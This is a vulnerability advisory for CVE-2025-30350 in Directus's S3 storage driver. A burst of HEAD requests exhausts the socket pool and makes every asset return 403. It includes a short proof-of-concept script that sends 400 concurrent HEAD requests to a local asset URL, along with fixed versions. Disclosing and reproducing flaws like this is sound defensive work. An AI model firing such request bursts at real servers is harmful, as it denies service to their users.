@directus/storage-driver-s3
Affected
- introduced
9.22.0, fixed12.0.1(semver)
Fixed versions
12.0.1
Fix
- Fixed version
12.0.1npm install @directus/[email protected]
Advisory
Also known as: CVE-2025-30350
Directus's S3 assets become unavailable after a burst of HEAD requests
Summary
There's some tools that use Directus to sync content and assets.
Some of those tools use HEAD method, like Shopify, to check the existence of files.
Although, when making many HEAD requests at once, at some point, all assets are being served as 403.
Details
When I was investigating this issue, I have found that after the burst of HEAD requests, the amount of sockets held on Agent on NodeHttpHandler was always equal to `STORAGE_CLOUD_MAX_SOCKETS` making it impossible to have new connections causing assets to be inaccessible.
After looking into this issue on AWS SDK I found that if the stream is requested, it needs to be consumed otherwise will hang forever. And as can be seen here the stream is not consumed.
The timeouts set here had no noticeable effect on tests made.
PoC
This can be easily reproduced with the following steps:
import axios from "axios";
async function start() {
Array.from({ length: 400 }, (_, i) => {
axios
.head(
"http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8"
)
.then(() => console.log("✅"))
.catch((e) =>
console.log("⛔", e.response?.status || e.code || e.message)
);
});
}
start();
Here's an example:
https://github.com/user-attachments/assets/29d65bf0-5637-478f-a215-083c2ded3753
Impact
This causes denial of assets for all policies of Directus, including Admin and Public.
Medium Basis: The source's own band: MODERATE
9.22.0, fixed 12.0.1 (semver)12.0.1
12.0.1npm install @directus/[email protected]9.22, fixed 11.5.0 (ecosystem)11.5.0
11.5.0npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0